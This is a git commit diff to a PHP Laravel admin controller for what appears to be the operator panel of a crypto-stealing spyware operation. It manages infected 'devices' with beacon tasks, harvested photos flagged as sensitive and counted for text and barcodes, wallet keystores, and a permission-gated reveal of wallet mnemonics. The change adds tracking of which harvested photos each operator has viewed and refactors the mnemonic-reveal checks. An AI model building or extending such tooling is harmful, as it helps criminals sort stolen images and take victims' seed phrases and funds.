feat: menric
This commit is contained in:
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
@@ -12,6 +13,7 @@ use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -29,6 +31,7 @@ use Illuminate\Support\Facades\Storage;
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -130,6 +133,7 @@ class DeviceController extends Controller
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
'can_clear_photos' => $this->canClearPhotos(),
|
||||
]);
|
||||
}
|
||||
@@ -164,6 +168,7 @@ class DeviceController extends Controller
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$abs = Storage::disk('local')->path($row->path);
|
||||
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
|
||||
$this->markPhotoRead($row);
|
||||
|
||||
return response($out['bytes'], 200)
|
||||
->header('Content-Type', $out['mime']);
|
||||
@@ -507,6 +512,19 @@ class DeviceController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
private function markPhotoRead(Photo $photo): void
|
||||
{
|
||||
[$guard, $actorId] = $this->viewerActor();
|
||||
if ($guard === null || $actorId === null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
PhotoRead::mark($photo, $guard, $actorId);
|
||||
} catch (\Throwable) {
|
||||
// Serving the image still succeeds if the read row cannot be written.
|
||||
}
|
||||
}
|
||||
|
||||
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
||||
@@ -519,10 +537,17 @@ class DeviceController extends Controller
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('x_hit', '>', 0);
|
||||
}
|
||||
[$guard, $actorId] = $this->viewerActor();
|
||||
if ($guard !== null && $actorId !== null) {
|
||||
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
|
||||
}
|
||||
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
||||
$readIds = ($guard !== null && $actorId !== null)
|
||||
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
|
||||
: [];
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds) {
|
||||
return [
|
||||
'id' => $photo->id,
|
||||
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
||||
@@ -533,6 +558,7 @@ class DeviceController extends Controller
|
||||
'process_index' => $photo->process_index,
|
||||
'text_count' => $photo->text_count,
|
||||
'barcode_count' => $photo->barcode_count,
|
||||
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
|
||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
@@ -594,7 +620,7 @@ class DeviceController extends Controller
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
|
||||
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($w->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -811,23 +837,6 @@ class DeviceController extends Controller
|
||||
return null;
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
|
||||
private function canClearPhotos(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
|
||||
Reference in New Issue
Block a user